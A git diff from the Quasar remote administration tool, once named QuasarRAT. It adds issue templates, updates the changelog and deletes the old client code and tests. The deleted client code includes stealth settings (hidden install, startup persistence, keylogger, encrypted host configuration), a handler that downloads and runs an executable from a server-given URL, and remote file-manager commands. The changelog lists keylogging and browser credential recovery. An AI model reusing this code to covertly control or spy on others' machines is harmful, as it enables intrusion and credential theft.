diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100644 index 000000000..8163cd201 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Quasar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 000000000..e56dad8db --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/CHANGELOG.md b/CHANGELOG.md index 095c90fd5..e0871f99c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,51 @@ -#QuasarRAT Changelog +# Quasar Changelog -##Quasar v1.2.0.0 [12.10.2015] +## Quasar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Quasar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Quasar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Quasar v1.2.0.0 [12.10.2015] * Added Client restart on unhandled exceptions * Added additional settings to Keylogger (set/hide log-directory) * Added encrypted Keylogger logs @@ -14,7 +59,7 @@ * Fixed Remote Desktop lagging with mouse input and maximized window * Some minor improvements -##Quasar v1.1.0.0 [30.08.2015] +## Quasar v1.1.0.0 [30.08.2015] * **Changed Target Framework to .NET Framework 4.0 Client Profile** * Added deletion of ZoneIdentifier file when installing * Improved Client installation error handling @@ -37,11 +82,11 @@ * Fixed Client registry access * Removed Statistics window, will be remade in a later version -##Quasar v1.0.0.0 [22.08.2015] +## Quasar v1.0.0.0 [22.08.2015] * **xRAT is now Quasar** * Added Password Recovery (Common Browsers and FTP Clients) * Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) - * Client Builder works also on Linux/Mono + * Client Builder works also on Linux/Mono * Added ability to upload batch files * Added Client support for multiple hosts * Added maximum simultaneous file downloads/uploads (current max: 2) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index cc52b2bff..5ccd2866c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,16 +1,19 @@ -#Contributing +# Contributing 1. Fork it 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) -5. Create new Pull Request +5. Create new pull request (PR) -##Guidelines for Pull Requests: +## Guidelines for pull requests: -1. Respect the coding style of QuasarRAT. -2. Make a single change per commit. -3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. -4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. +1. Respect the coding style of Quasar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/Client.Tests/Client.Tests.csproj b/Client.Tests/Client.Tests.csproj deleted file mode 100644 index 5e6d29034..000000000 --- a/Client.Tests/Client.Tests.csproj +++ /dev/null @@ -1,95 +0,0 @@ - - - - Debug - x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB} - Library - Properties - xClient.Tests - Client.Tests - v4.0 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 10.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest - - - true - Bin\Debug\ - DEBUG;TRACE - full - x86 - prompt - 4 - - - Bin\Release\ - TRACE - true - pdbonly - x86 - prompt - - - - - - - - - - - - - - - - - - - - - - - - - - - - {9f5cf56a-ddb2-4f40-ab99-2a1dc47588e1} - Client - - - - - - - - False - - - False - - - False - - - False - - - - - - - - \ No newline at end of file diff --git a/Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs deleted file mode 100644 index a71fb8259..000000000 --- a/Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ /dev/null @@ -1,118 +0,0 @@ -using System; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Compression; - -namespace xClient.Tests.Core.Compression -{ - [TestClass] - public class SafeQuickLZTests - { - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel1() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel3() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel1() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel3() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed, "Original data is equal to the compressed data!"); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed, "Compressed data is equal to the decompressed data!"); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed, "Original data does not match the decompressed data!"); - } - } -} \ No newline at end of file diff --git a/Client.Tests/Core/Encryption/AES.Tests.cs b/Client.Tests/Core/Encryption/AES.Tests.cs deleted file mode 100644 index 6bf4d813b..000000000 --- a/Client.Tests/Core/Encryption/AES.Tests.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Text; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; - -namespace xClient.Tests.Core.Encryption -{ - [TestClass] - public class AESTests - { - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptStringTest() - { - var input = FileHelper.GetRandomFilename(100); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encrypted = AES.Encrypt(input); - - Assert.IsNotNull(encrypted); - Assert.AreNotEqual(encrypted, input); - - var decrypted = AES.Decrypt(encrypted); - - Assert.AreEqual(input, decrypted); - } - - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptByteArrayTest() - { - var input = FileHelper.GetRandomFilename(100); - var inputByte = Encoding.UTF8.GetBytes(input); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encryptedByte = AES.Encrypt(inputByte); - - Assert.IsNotNull(encryptedByte); - CollectionAssert.AllItemsAreNotNull(encryptedByte); - CollectionAssert.AreNotEqual(encryptedByte, inputByte); - - var decryptedByte = AES.Decrypt(encryptedByte); - - CollectionAssert.AreEqual(inputByte, decryptedByte); - } - } -} \ No newline at end of file diff --git a/Client.Tests/Core/Encryption/SHA256.Tests.cs b/Client.Tests/Core/Encryption/SHA256.Tests.cs deleted file mode 100644 index 3f20d87af..000000000 --- a/Client.Tests/Core/Encryption/SHA256.Tests.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Cryptography; -using xClient.Core.Helper; - -namespace xClient.Tests.Core.Encryption -{ - [TestClass] - public class SHA256Tests - { - [TestMethod, TestCategory("Encryption")] - public void ComputeHashTest() - { - var input = FileHelper.GetRandomFilename(100); - var result = SHA256.ComputeHash(input); - - Assert.IsNotNull(result); - Assert.AreNotEqual(result, input); - } - } -} diff --git a/Client.Tests/Core/Helper/FileHelper.Tests.cs b/Client.Tests/Core/Helper/FileHelper.Tests.cs deleted file mode 100644 index 5ece95477..000000000 --- a/Client.Tests/Core/Helper/FileHelper.Tests.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Helper; - -namespace xClient.Tests.Core.Helper -{ - [TestClass] - public class FileHelperTests - { - [TestMethod, TestCategory("Helper")] - public void RandomFilenameTest() - { - int length = 100; - var name = FileHelper.GetRandomFilename(length); - Assert.IsNotNull(name); - Assert.IsTrue(name.Length == length, "Filename has wrong length!"); - } - - [TestMethod, TestCategory("Helper")] - public void ValidateExecutableTest() - { - var bytes = new byte[] {77, 90}; - - var result = FileHelper.IsValidExecuteableFile(bytes); - - Assert.IsTrue(result, "Validating a .exe file failed!"); - } - - [TestMethod, TestCategory("Helper")] - public void ValidateInvalidFileTest() - { - var bytes = new byte[] {22, 93}; - - var result = FileHelper.IsValidExecuteableFile(bytes); - - Assert.IsFalse(result, "Validating an invalid file worked!"); - } - } -} \ No newline at end of file diff --git a/Client.Tests/Properties/AssemblyInfo.cs b/Client.Tests/Properties/AssemblyInfo.cs deleted file mode 100644 index 3404431a0..000000000 --- a/Client.Tests/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// Allgemeine Informationen über eine Assembly werden über folgende -// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, -// die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("ClientTests")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ClientTests")] -[assembly: AssemblyCopyright("Copyright © 2015")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Wenn ComVisible auf "false" festgelegt wird, sind die Typen innerhalb dieser Assembly -// für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von -// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. -[assembly: ComVisible(false)] - -// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird -[assembly: Guid("fe184ab5-f153-4179-9bf5-50523987cf1f")] - -// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: -// -// Hauptversion -// Nebenversion -// Buildnummer -// Revision -// -// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern -// durch Einsatz von '*', wie in nachfolgendem Beispiel: -// [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Client/Client.csproj b/Client/Client.csproj deleted file mode 100644 index 159a4a956..000000000 --- a/Client/Client.csproj +++ /dev/null @@ -1,279 +0,0 @@ - - - - Debug - x86 - 8.0.30703 - 2.0 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1} - WinExe - Properties - xClient - Client - v4.0 - 512 - Client - - - x86 - true - full - false - ..\Bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - x86 - none - true - ..\Bin\Release\ - TRACE - prompt - 4 - true - false - - - xClient.Program - - - app.manifest - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ResXFileCodeGenerator - Resources.Designer.cs - Designer - - - True - Resources.resx - True - - - - SettingsSingleFileGenerator - Settings.Designer.cs - - - True - Settings.settings - True - - - - - - - - - copy "$(TargetPath)" "$(TargetDir)client.bin" /Y - - - \ No newline at end of file diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs deleted file mode 100644 index 4d72ca7b7..000000000 --- a/Client/Config/Settings.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using xClient.Core.Helper; - -#if !DEBUG -using xClient.Core.Cryptography; -#endif - -namespace xClient.Config -{ - public static class Settings - { -#if DEBUG - public static string VERSION = System.Windows.Forms.Application.ProductVersion; - public static string HOSTS = "localhost:4782;"; - public static int RECONNECTDELAY = 500; - public static string PASSWORD = "1234"; - public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; - public static string DIR = Environment.GetFolderPath(SPECIALFOLDER); - public static string SUBFOLDER = "Test"; - public static string INSTALLNAME = "test.exe"; - public static bool INSTALL = false; - public static bool STARTUP = false; - public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; - public static string STARTUPKEY = "Test key"; - public static bool HIDEFILE = false; - public static bool ENABLELOGGER = false; - public static string TAG = "DEBUG"; - public static string LOGDIRECTORYNAME = "Logs"; - public static bool HIDELOGDIRECTORY = false; - - public static bool Initialize() - { - FixDirectory(); - return true; - } -#else - public static string VERSION = ""; - public static string HOSTS = "localhost:4782;"; - public static int RECONNECTDELAY = 5000; - public static string PASSWORD = "1234"; - public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; - public static string DIR = Environment.GetFolderPath(SPECIALFOLDER); - public static string SUBFOLDER = "SUB"; - public static string INSTALLNAME = "INSTALL"; - public static bool INSTALL = false; - public static bool STARTUP = true; - public static string MUTEX = "MUTEX"; - public static string STARTUPKEY = "STARTUP"; - public static bool HIDEFILE = true; - public static bool ENABLELOGGER = true; - public static string ENCRYPTIONKEY = "ENCKEY"; - public static string TAG = "RELEASE"; - public static string LOGDIRECTORYNAME = "Logs"; - public static bool HIDELOGDIRECTORY = false; - - public static bool Initialize() - { - if (string.IsNullOrEmpty(VERSION)) return false; - AES.SetDefaultKey(ENCRYPTIONKEY); - TAG = AES.Decrypt(TAG); - VERSION = AES.Decrypt(VERSION); - HOSTS = AES.Decrypt(HOSTS); - PASSWORD = AES.Decrypt(PASSWORD); - SUBFOLDER = AES.Decrypt(SUBFOLDER); - INSTALLNAME = AES.Decrypt(INSTALLNAME); - MUTEX = AES.Decrypt(MUTEX); - STARTUPKEY = AES.Decrypt(STARTUPKEY); - LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME); - FixDirectory(); - return true; - } -#endif - - static void FixDirectory() - { - if (PlatformHelper.Is64Bit) return; - - // https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx - switch (SPECIALFOLDER) - { - case Environment.SpecialFolder.ProgramFilesX86: - SPECIALFOLDER = Environment.SpecialFolder.ProgramFiles; - break; - case Environment.SpecialFolder.SystemX86: - SPECIALFOLDER = Environment.SpecialFolder.System; - break; - } - - DIR = Environment.GetFolderPath(SPECIALFOLDER); - } - } -} \ No newline at end of file diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs deleted file mode 100644 index ba5ab5347..000000000 --- a/Client/Core/Commands/CommandHandler.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System.Collections.Generic; -using System.Threading; -using xClient.Core.Registry; -using xClient.Core.Utilities; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ - public static partial class CommandHandler - { - public static UnsafeStreamCodec StreamCodec; - private static Shell _shell; - private static Dictionary _renamedFiles = new Dictionary(); - private static Dictionary _canceledDownloads = new Dictionary(); - private const string DELIMITER = "$E$"; - private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads - public static RegistrySeeker seeker; - } -} \ No newline at end of file diff --git a/Client/Core/Commands/ConnectionHandler.cs b/Client/Core/Commands/ConnectionHandler.cs deleted file mode 100644 index f59991ef5..000000000 --- a/Client/Core/Commands/ConnectionHandler.cs +++ /dev/null @@ -1,103 +0,0 @@ -using System; -using System.Net; -using System.Threading; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) - { - GeoLocationHelper.Initialize(); - new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(), - GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code, - GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex, - DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client); - - if (ClientData.AddToStartupFailed) - { - Thread.Sleep(2000); - new Packets.ClientPackets.SetStatus("Adding to startup failed.").Execute(client); - } - } - - public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client) - { - // i dont like this updating... if anyone has a better idea feel free to edit it - if (string.IsNullOrEmpty(command.DownloadURL)) - { - if (!_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(".exe")); - - string filePath = _renamedFiles[command.ID]; - - try - { - if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block)) - throw new Exception("No executable file"); - - FileSplit destFile = new FileSplit(filePath); - - if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) - throw new Exception(destFile.LastError); - - if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished - { - if (_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Remove(command.ID); - new Packets.ClientPackets.SetStatus("Updating...").Execute(client); - ClientUpdater.Update(client, filePath); - } - } - catch (Exception ex) - { - if (_renamedFiles.ContainsKey(command.ID)) - _renamedFiles.Remove(command.ID); - NativeMethods.DeleteFile(filePath); - new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); - } - - return; - } - - new Thread(() => - { - new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); - - string tempFile = FileHelper.GetTempFilePath(".exe"); - - try - { - using (WebClient c = new WebClient()) - { - c.Proxy = null; - c.DownloadFile(command.DownloadURL, tempFile); - } - } - catch - { - new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); - return; - } - - new Packets.ClientPackets.SetStatus("Updating...").Execute(client); - - ClientUpdater.Update(client, tempFile); - }).Start(); - } - - public static void HandleDoClientUninstall(Packets.ServerPackets.DoClientUninstall command, Client client) - { - new Packets.ClientPackets.SetStatus("Uninstalling... bye ;(").Execute(client); - - ClientUninstaller.Uninstall(client); - } - } -} \ No newline at end of file diff --git a/Client/Core/Commands/FileHandler.cs b/Client/Core/Commands/FileHandler.cs deleted file mode 100644 index f40ad748b..000000000 --- a/Client/Core/Commands/FileHandler.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; -using System.IO; -using System.Security; -using System.Threading; -using xClient.Core.Networking; -using xClient.Core.Utilities; -using xClient.Enums; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ - public static partial class CommandHandler - { - public static void HandleGetDirectory(Packets.ServerPackets.GetDirectory command, Client client) - { - bool isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); - - FileInfo[] iFiles = dicInfo.GetFiles(); - DirectoryInfo[] iFolders = dicInfo.GetDirectories(); - - string[] files = new string[iFiles.Length]; - long[] filessize = new long[iFiles.Length]; - string[] folders = new string[iFolders.Length]; - - int i = 0; - foreach (FileInfo file in iFiles) - { - files[i] = file.Name; - filessize[i] = file.Length; - i++; - } - if (files.Length == 0) - { - files = new string[] {DELIMITER}; - filessize = new long[] {0}; - } - - i = 0; - foreach (DirectoryInfo folder in iFolders) - { - folders[i] = folder.Name; - i++; - } - if (folders.Length == 0) - folders = new string[] {DELIMITER}; - - new Packets.ClientPackets.GetDirectoryResponse(files, folders, filessize).Execute(client); - } - catch (UnauthorizedAccessException) - { - onError("GetDirectory No permission"); - } - catch (SecurityException) - { - onError("GetDirectory No permission"); - } - catch (PathTooLongException) - { - onError("GetDirectory Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("GetDirectory Directory not found"); - } - catch (FileNotFoundException) - { - onError("GetDirectory File not found"); - } - catch (IOException) - { - onError("GetDirectory I/O error"); - } - catch (Exception) - { - onError("GetDirectory Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - new Packets.ClientPackets.SetStatusFileManager(message, true).Execute(client); - } - } - - public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client) - { - new Thread(() => - { - _limitThreads.WaitOne(); - try - { - FileSplit srcFile = new FileSplit(command.RemotePath); - if (srcFile.MaxBlocks < 0) - throw new Exception(srcFile.LastError); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - if (!client.Connected || _canceledDownloads.ContainsKey(command.ID)) - break; - - byte[] block; - - if (!srcFile.ReadBlock(currentBlock, out block)) - throw new Exception(srcFile.LastError); - - new Packets.ClientPackets.DoDownloadFileResponse(command.ID, - Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock, - srcFile.LastError).Execute(client); - } - } - catch (Exception ex) - { - new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), new byte[0], -1, -1, ex.Message) - .Execute(client); - } - _limitThreads.Release(); - }).Start(); - } - - public static void HandleDoDownloadFileCancel(Packets.ServerPackets.DoDownloadFileCancel command, Client client) - { - if (!_canceledDownloads.ContainsKey(command.ID)) - { - _canceledDownloads.Add(command.ID, "canceled"); - new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "canceled", new byte[0], -1, -1, "Canceled").Execute(client); - } - } - - public static void HandleDoUploadFile(Packets.ServerPackets.DoUploadFile command, Client client) - { - if (command.CurrentBlock == 0 && File.Exists(command.RemotePath)) - NativeMethods.DeleteFile(command.RemotePath); // delete existing file - - FileSplit destFile = new FileSplit(command.RemotePath); - destFile.AppendBlock(command.Block, command.CurrentBlock); - } - - public static void HandleDoPathDelete(Packets.ServerPackets.DoPathDelete command, Client client) - { - bool isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - switch (command.PathType) - { - case PathType.Directory: - Directory.Delete(command.Path, true); - new Packets.ClientPackets.SetStatusFileManager("Deleted directory", false).Execute(client); - break; - case PathType.File: - File.Delete(command.Path); - new Packets.ClientPackets.SetStatusFileManager("Deleted file", false).Execute(client); - break; - } - - HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.Path)), client); - } - catch (UnauthorizedAccessException) - { - onError("DeletePath No permission"); - } - catch (PathTooLongException) - { - onError("DeletePath Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("DeletePath Path not found"); - } - catch (IOException) - { - onError("DeletePath I/O error"); - } - catch (Exception) - { - onError("DeletePath Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client); - } - } - - public static void HandleDoPathRename(Packets.ServerPackets.DoPathRename command, Client client) - { - bool isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - switch (command.PathType) - { - case PathType.Directory: - Directory.Move(command.Path, command.NewPath); - new Packets.ClientPackets.SetStatusFileManager("Renamed directory", false).Execute(client); - break; - case PathType.File: - File.Move(command.Path, command.NewPath); - new Packets.ClientPackets.SetStatusFileManager("Renamed file", false).Execute(client); - break; - } - - HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.NewPath)), client); - } - catch (UnauthorizedAccessException) - { - onError("RenamePath No permission"); - } - catch (PathTooLongException) - { - onError("RenamePath Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("RenamePath Path not found"); - } - catch (IOException) - { - onError("RenamePath I/O error"); - } - catch (Exception) - { - onError("RenamePath Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client); - } - } - } -} \ No newline at end of file diff --git a/Client/Core/Commands/MiscHandler.cs b/Client/Core/Commands/MiscHandler.cs deleted file mode 100644 index bc8d6312c..000000000 --- a/Client/Core/Commands/MiscHandler.cs +++ /dev/null @@ -1,164 +0,0 @@ -using System; 